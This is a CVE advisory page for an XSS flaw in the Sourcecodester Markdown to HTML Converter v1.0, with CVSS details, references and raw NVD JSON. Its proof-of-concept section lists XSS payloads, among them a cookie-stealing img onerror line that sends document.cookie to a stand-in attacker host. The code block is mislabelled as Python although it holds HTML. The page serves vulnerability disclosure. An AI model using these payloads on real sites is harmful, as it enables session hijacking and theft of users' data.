CVE-2025-60312

Description

Sourcecodester Markdown to HTML Converter v1.0 is vulnerable to a Cross-Site Scripting (XSS) in the "Markdown Input" field, allowing a remote attacker to inject arbitrary HTML/JavaScript code that executes in the victim's browser upon clicking the "Convert to HTML" button.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:rems:markdown_to_html_converter:1.0:*:*:*:*:*:*:* - VULNERABLE

Sourcecodester Markdown to HTML Converter v1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-60312 PoC - XSS in Sourcecodester Markdown to HTML Converter v1.0 -->
<!-- Payload to be pasted into the "Markdown Input" field -->

<!-- Method 1: Direct script tag injection -->
<script>alert('XSS - CVE-2025-60312');</script>

<!-- Method 2: Cookie stealing via img onerror -->
<img src=x onerror="fetch('https://attacker-server.com/steal?cookie='+document.cookie)">

<!-- Method 3: SVG-based XSS -->
<svg onload=alert(document.domain)>

<!-- Method 4: Event handler injection -->
<body onload=alert('XSS')>

<!-- Steps to reproduce: -->
<!-- 1. Navigate to the Markdown to HTML Converter page -->
<!-- 2. Paste any of the above payloads into the "Markdown Input" field -->
<!-- 3. Click the "Convert to HTML" button -->
<!-- 4. Observe that the JavaScript code executes in the browser -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60312
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60312
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60312/
[4] VulDB https://vuldb.com/cve/CVE-2025-60312
[5] https://github.com/ChuckBartowski7/Vulnerability-Research/blob/main/CVE-2025-60312/README.md
[6] https://www.sourcecodester.com/php/18295/markdown-html-converter-using-php-and-javascript-source-code.html
[7] https://github.com/ChuckBartowski7/Vulnerability-Research/blob/main/CVE-2025-60312/README.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60312", "sourceIdentifier": "[email protected]", "published": "2025-10-07T16:15:55.010", "lastModified": "2025-10-10T16:15:20.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sourcecodester Markdown to HTML Converter v1.0 is vulnerable to a Cross-Site Scripting (XSS) in the \"Markdown Input\" field, allowing a remote attacker to inject arbitrary HTML/JavaScript code that executes in the victim's browser upon clicking the \"Convert to HTML\" button."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rems:markdown_to_html_converter:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "BB6C3743-179F-44B1-A6B0-8C60C7BBE814"}]}]}], "references": [{"url": "https://github.com/ChuckBartowski7/Vulnerability-Research/blob/main/CVE-2025-60312/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.sourcecodester.com/php/18295/markdown-html-converter-using-php-and-javascript-source-code.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/ChuckBartowski7/Vulnerability-Research/blob/main/CVE-2025-60312/README.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}